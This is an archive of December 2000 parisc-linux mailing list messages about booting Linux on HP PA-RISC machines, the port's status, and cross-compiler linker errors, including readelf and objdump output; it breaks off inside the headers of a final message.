Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31786 invoked from network); 12 Dec 2000 07:20:36 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 07:20:36 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id D1128242; Tue, 12 Dec 2000 02:20:35 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 2719137CA1; Tue, 12 Dec 2000 00:22:29 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Marko.T.Niskanen@nokia.com 
   of "Tue, 12 Dec 2000 08:05:00 +0200." <13F0486DB51CD311A0AE0008C7C561380453D431@eseis11nok> 
Xref: news.gmane.org gmane.linux.ports.parisc:8860


Marko.T.Niskanen@nokia.com writes...

> Sorry I have no boot log, because linux doesn't start and I have no idea how
> to get it an another way.  after text on console "switching from PDC
> console", I can read from serial port: 

If you set your 712 to serial console you can capture it, but I don't know if 
I'd recommend doing that since STI will be better long term.

> kmem_create: Forcing size word alignment - nfs_fh VFS: Mounted root (ext2
> filesystem) readonly. !!die_if_kernel: init(1): Illegal instruction 8
> 
> and after that starts that "loop" 

I get the same loop here but with a newer kernel and libc. Did you update your 
kernel or libc at all? I think the 0.5 CD should work fine on a 712/60.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Tue, 12 Dec 2000 00:47:02 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20001212074702.A5CC637CA1@carmen.fc.hp.com>
References: <Pine.PMDF.3.96.1001211153646.22674A-100000@macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619422 8429 80.91.229.3 (22 Nov 2014 01:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jcarlson@macalester.edu
Original-X-From: taggart@carmen.fc.hp.com  Tue Dec 12 00:42:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA08123
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 00:42:37 -0700
Original-Received: (qmail 19785 invoked by uid 15267); 12 Dec 2000 07:45:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19746 invoked from network); 12 Dec 2000 07:45:15 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 07:45:15 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 279797D; Tue, 12 Dec 2000 02:45:12 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id A5CC637CA1; Tue, 12 Dec 2000 00:47:02 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from jcarlson@macalester.edu 
   of "Mon, 11 Dec 2000 15:45:47 CDT." <Pine.PMDF.3.96.1001211153646.22674A-100000@macalester.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8861


jcarlson@macalester.edu writes...

> Recently I've been assigned the task of setting up a few old HP machines
> for paralell processing tasks.  In doing so, I have come upon your project
> in porting linux to HP machines.
> I was curious as to the status of a few of the projects

We're making good progress but the port is still in an alpha stage. 
Performance is pretty poor but improving. Depending on what your "parallel 
processing tasks" are you may want to wait to start playing. If you have some 
time and don't mind hacking (it's fun!) then you might consider giving it a 
try.

> as well as the
> availability of possible binary distributions.

Both Debian and RedHat are working on unofficial/experimental distributions. 
Both have hundreds of packages built for hppa.

> I'm curious about the status of Merlin 160, Raven 120 T' and Gecko.

Most of the core developers have both a B160/B180/A180 and some sort of 712 so 
they mostly work. I don't know the current status of the C110 but I think it 
works. You might consider looking at and adding your machines to the Hardware 
Database at,

http://parisc-linux.org/hw.html

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Subscribe not working!!!
Date: Tue, 12 Dec 2000 01:00:27 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20001212080027.5474937CA1@carmen.fc.hp.com>
References: <3A34134E.2F2A856E@alltel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619423 8434 80.91.229.3 (22 Nov 2014 01:23:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: catfish@alltel.net
Original-X-From: taggart@carmen.fc.hp.com  Tue Dec 12 00:55:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA08744
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 00:55:47 -0700
Original-Received: (qmail 30643 invoked by uid 15267); 12 Dec 2000 07:58:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30635 invoked from network); 12 Dec 2000 07:58:33 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 07:58:33 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 5764F186; Tue, 12 Dec 2000 02:58:33 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 5474937CA1; Tue, 12 Dec 2000 01:00:27 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Sun, 10 Dec 2000 17:35:42 CST."
             <3A34134E.2F2A856E@alltel.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:8862


catfish@alltel.net writes...

>  Hello, 
> I've been trying to subscribe to the list but majordomo is not
> reponding. 

It's working for me. I tried "help", "subscribe" and "unsubscribe". You're 
using the parisc-linux-request@thepuffingroup.com address right?

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32-bit xc-20001206.tar.gz is foobar
Date: Tue, 12 Dec 2000 01:28:35 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20001212082835.698F337CA1@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0012102347330.31734-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619423 8437 80.91.229.3 (22 Nov 2014 01:23:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:43 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: taggart@carmen.fc.hp.com  Tue Dec 12 01:24:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA09470
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 01:24:18 -0700
Original-Received: (qmail 21645 invoked by uid 15267); 12 Dec 2000 08:26:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21638 invoked from network); 12 Dec 2000 08:26:52 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 08:26:52 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 5AA6B877; Tue, 12 Dec 2000 03:26:41 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 698F337CA1; Tue, 12 Dec 2000 01:28:35 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Alan Modra <alan@linuxcare.com.au> 
   of "Mon, 11 Dec 2000 00:02:57 EST." <Pine.LNX.4.21.0012102347330.31734-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8863


Alan Modra writes...

> > hppa-linux-ld: fs/fs.o(.text.load_aout_interp+0x11c): cannot reach 00000010
> _flush_instruction_cache+0, recompile with -ffunction-sections
> > hppa-linux-ld: fs/fs.o(.text.load_aout_interp+0x11c): cannot handle R_PARIS
> C_PCREL17F for flush_instruction_cache
> > ...
> 
> This isn't necessarily a problem with Matt's latest compiler binary.  fs.o
> is produced with a "ld -r" link stage, and it's text size is larger than
> 256k, so there is potential for branches to not be able to reach stubs.
> 
> ie. You may get these problems if
>  a) You are using an older binutils (ie. not the latest pehc CVS version),
>     and aren't using -ffunction-sections to compile the kernel
>  b) You are using the very latest binutils, and aren't using
>     -ffunction-sections, and I've goofed in my "ld -r" magic.

I just built a new cross-compiler (xc-20001211.tar.gz) and am still getting 
similar errors when building the kernel. It doesn't seem to matter if I have 
-ffunction-sections in the kernel Makefile or not.

> On a good fs.o, "hppa-linux-readelf -h fs.o" ought to show lots of .text.*
> sections.

$ hppa-linux-readelf -h fs.o
ELF Header:
  Magic:   7f 45 4c 46 01 02 01 03 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              REL (Relocatable file)
  Machine:                           HPPA
  Version:                           0x1
  Entry point address:               0x0
  Start of program headers:          0 (bytes into file)
  Start of section headers:          360836 (bytes into file)
  Flags:                             0x210, PA-RISC 1.1
  Size of this header:               52 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         0
  Size of section headers:           40 (bytes)
  Number of section headers:         92
  Section header string table index: 89

HTH,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marko.T.Niskanen@nokia.com
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 712/60 booting problem
Date: Tue, 12 Dec 2000 10:40:14 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <13F0486DB51CD311A0AE0008C7C561380453D432@eseis11nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619423 8441 80.91.229.3 (22 Nov 2014 01:23:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Marko.T.Niskanen@nokia.com  Tue Dec 12 01:37:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA10023
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 01:37:50 -0700
Original-Received: (qmail 32591 invoked by uid 15267); 12 Dec 2000 08:40:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32524 invoked from network); 12 Dec 2000 08:40:30 -0000
Original-Received: from mgw-x3.nokia.com (131.228.20.26)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 08:40:30 -0000
Original-Received: from esvir07nok.ntc.nokia.com (esvir07nok.nokia.com [131.228.20.79])
	by mgw-x3.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id eBC8eOB00966
	for <parisc-linux@thepuffingroup.com>; Tue, 12 Dec 2000 10:40:24 +0200 (EET)
Original-Received: from esebh02nok.ntc.nokia.com (unverified) by esvir07nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T83e4144f506f5b173b@esvir07nok.ntc.nokia.com> for <parisc-linux@thepuffingroup.com>;
 Tue, 12 Dec 2000 10:40:24 +0200
Original-Received: by esebh02nok with Internet Mail Service (5.5.2652.78)
	id <YV1DCWZ2>; Tue, 12 Dec 2000 10:40:24 +0200
X-Mailer: Internet Mail Service (5.5.2652.78)
Xref: news.gmane.org gmane.linux.ports.parisc:8864

hi

Just installed linux again and during the installation booting I got
messages like 

kmem_create: Forcing size word alignment - nfs_fh
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
VFS: Disk change detected on device sr(11,0)
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
kernel BUG at pci-dma.c:391!
kernel BUG at pci-dma.c:400!
ISO 9660 Extensions: RRIP_1991A
VFS: Mounted root (iso9660 filesystem) readonly.

and I searched an old mailing lists and I found same kind problem, but
didn't find any solution of it.

http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/11-Nov/0191.ht
ml

But there is nothing  
> -----Original Message-----
> From: EXT Matt Taggart [mailto:taggart@carmen.fc.hp.com]
> Sent: 12 December, 2000 9:22
> To: Marko.T.Niskanen@nokia.com
> Cc: parisc-linux@thepuffingroup.com; adevries@linuxcare.com
> Subject: Re: [parisc-linux] 712/60 booting problem 
> 
> 
> 
> Marko.T.Niskanen@nokia.com writes...
> 
> > Sorry I have no boot log, because linux doesn't start and I 
> have no idea how
> > to get it an another way.  after text on console "switching from PDC
> > console", I can read from serial port: 
> 
> If you set your 712 to serial console you can capture it, but 
> I don't know if 
> I'd recommend doing that since STI will be better long term.
> 
> > kmem_create: Forcing size word alignment - nfs_fh VFS: 
> Mounted root (ext2
> > filesystem) readonly. !!die_if_kernel: init(1): Illegal 
> instruction 8
> > 
> > and after that starts that "loop" 
> 
> I get the same loop here but with a newer kernel and libc. 
> Did you update your 
> kernel or libc at all? I think the 0.5 CD should work fine on 
> a 712/60.
> 
> -- 
> Matt Taggart
> taggart@fc.hp.com
> 
> 
> --------------------------------------------------------------
> -------------
> To unsubscribe: send e-mail to 
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32-bit xc-20001206.tar.gz is foobar
Date: Tue, 12 Dec 2000 01:44:49 -0700
Lines: 128
Approved: news@gmane.org
Message-ID: <20001212084449.EB32737CA1@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0012121934480.27939-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619424 8444 80.91.229.3 (22 Nov 2014 01:23:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:44 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: taggart@carmen.fc.hp.com  Tue Dec 12 01:40:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA10325
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 01:40:23 -0700
Original-Received: (qmail 2145 invoked by uid 15267); 12 Dec 2000 08:42:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2136 invoked from network); 12 Dec 2000 08:42:56 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 08:42:56 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id E251711A6; Tue, 12 Dec 2000 03:42:55 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id EB32737CA1; Tue, 12 Dec 2000 01:44:49 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Alan Modra <alan@linuxcare.com.au> 
   of "Tue, 12 Dec 2000 19:37:39 EST." <Pine.LNX.4.21.0012121934480.27939-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8865


Alan Modra writes...

> On Tue, 12 Dec 2000, Matt Taggart wrote:
> 
> > Alan Modra writes...
> > 
> > 
> > I just built a new cross-compiler (xc-20001211.tar.gz) and am still getting
>  
> > similar errors when building the kernel. It doesn't seem to matter if I hav
> e 
> > -ffunction-sections in the kernel Makefile or not.
> > 
> > > On a good fs.o, "hppa-linux-readelf -h fs.o" ought to show lots of .text.
> *
> > > sections.
> 
> Oops, sorry.  "hppa-linux-objdump -h" or "hppa-linux-readelf -S"

$ hppa-linux-objdump -h fs.o

fs.o:     file format elf32-hppa-linux

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .rodata       0000c06c  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA
  1 .PARISC.unwind 00003b90  00000000  00000000  0000c0a0  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA
  2 __ex_table    00000530  00000000  00000000  0000fc30  2**0
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, DATA
  3 .data         00001da0  00000000  00000000  00010160  2**3
                  CONTENTS, ALLOC, LOAD, RELOC, DATA
  4 .initcall.init 00000030  00000000  00000000  00011f00  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, DATA
  5 .exitcall.exit 0000001c  00000000  00000000  00011f30  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, DATA
  6 .init.data    000007d0  00000000  00000000  00011f4c  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, DATA
  7 .setup.init   00000008  00000000  00000000  0001271c  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, DATA
  8 .bss          00001ec8  00000000  00000000  00012724  2**2
                  ALLOC
  9 .comment      00000cf9  00000000  00000000  00012724  2**0
                  CONTENTS, READONLY
 10 .text         00000008  00000000  00000000  00013420  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .init.text    00001b3c  00000000  00000000  00013428  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 12 .text.1       00005f48  00000000  00000000  00014f64  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 13 .text.2       00003078  00000000  00000000  0001aeac  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 14 .text.3       000053f0  00000000  00000000  0001df24  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 15 .text.4       000044c8  00000000  00000000  00023314  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 16 .text.5       000070b8  00000000  00000000  000277dc  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 17 .text.6       000050cc  00000000  00000000  0002e894  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 18 .text.7       00005ce0  00000000  00000000  00033960  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 19 .text.8       0000265c  00000000  00000000  00039640  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 20 .text.9       00003eec  00000000  00000000  0003bc9c  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 21 .text.10      00003e04  00000000  00000000  0003fb88  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 22 .exit.text    000000f8  00000000  00000000  0004398c  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 23 .text.11      000047f0  00000000  00000000  00043a84  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 24 .text.12      00000be4  00000000  00000000  00048274  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 25 .text.13      00000408  00000000  00000000  00048e58  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 26 .text.14      000008b0  00000000  00000000  00049260  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 27 .text.15      00000da8  00000000  00000000  00049b10  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 28 .text.16      00000390  00000000  00000000  0004a8b8  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 29 .text.17      00003280  00000000  00000000  0004ac48  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 30 .text.18      00001584  00000000  00000000  0004dec8  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 31 .text.19      000015fc  00000000  00000000  0004f44c  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 32 .text.20      0000048c  00000000  00000000  00050a48  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 33 .text.21      000000d8  00000000  00000000  00050ed4  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 34 .text.22      00000400  00000000  00000000  00050fac  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 35 .text.23      00000394  00000000  00000000  000513ac  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 36 .text.24      000002a4  00000000  00000000  00051740  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 37 .text.25      00000008  00000000  00000000  000519e4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 38 .text.26      00000880  00000000  00000000  000519ec  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 39 .text.27      0000025c  00000000  00000000  0005226c  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 40 .text.28      00002370  00000000  00000000  000524c8  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 41 .text.29      00000000  00000000  00000000  00054838  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 42 .text.30      000009c4  00000000  00000000  00054838  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 43 .text.31      00000000  00000000  00000000  000551fc  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 44 .text.32      0000056c  00000000  00000000  000551fc  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 45 .text.33      00001fb4  00000000  00000000  00055768  2**2
                  CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
 46 .text.34      00000000  00000000  00000000  0005771c  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 47 .note         00000654  00000000  00000000  0005771c  2**0
                  CONTENTS, READONLY

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32-bit xc-20001206.tar.gz is foobar
Date: Tue, 12 Dec 2000 19:37:39 +1100 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012121934480.27939-100000@front.linuxcare.com.au>
References: <20001212082835.698F337CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619424 8446 80.91.229.3 (22 Nov 2014 01:23:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:44 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Dec 12 01:40:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA10578
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 01:40:57 -0700
Original-Received: (qmail 2684 invoked by uid 15267); 12 Dec 2000 08:43:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2667 invoked from network); 12 Dec 2000 08:43:42 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 08:43:42 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA12042;
	Tue, 12 Dec 2000 19:37:39 +1100
In-Reply-To: <20001212082835.698F337CA1@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8866

On Tue, 12 Dec 2000, Matt Taggart wrote:

> Alan Modra writes...
> 
> 
> I just built a new cross-compiler (xc-20001211.tar.gz) and am still getting 
> similar errors when building the kernel. It doesn't seem to matter if I have 
> -ffunction-sections in the kernel Makefile or not.
> 
> > On a good fs.o, "hppa-linux-readelf -h fs.o" ought to show lots of .text.*
> > sections.

Oops, sorry.  "hppa-linux-objdump -h" or "hppa-linux-readelf -S"

> $ hppa-linux-readelf -h fs.o
> ELF Header:

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32-bit xc-20001206.tar.gz is foobar
Date: Tue, 12 Dec 2000 20:01:16 +1100 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012121945440.27939-100000@front.linuxcare.com.au>
References: <20001212084449.EB32737CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619424 8450 80.91.229.3 (22 Nov 2014 01:23:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:44 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Dec 12 01:59:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA11416
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 01:59:45 -0700
Original-Received: (qmail 17312 invoked by uid 15267); 12 Dec 2000 09:01:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17283 invoked from network); 12 Dec 2000 09:01:39 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
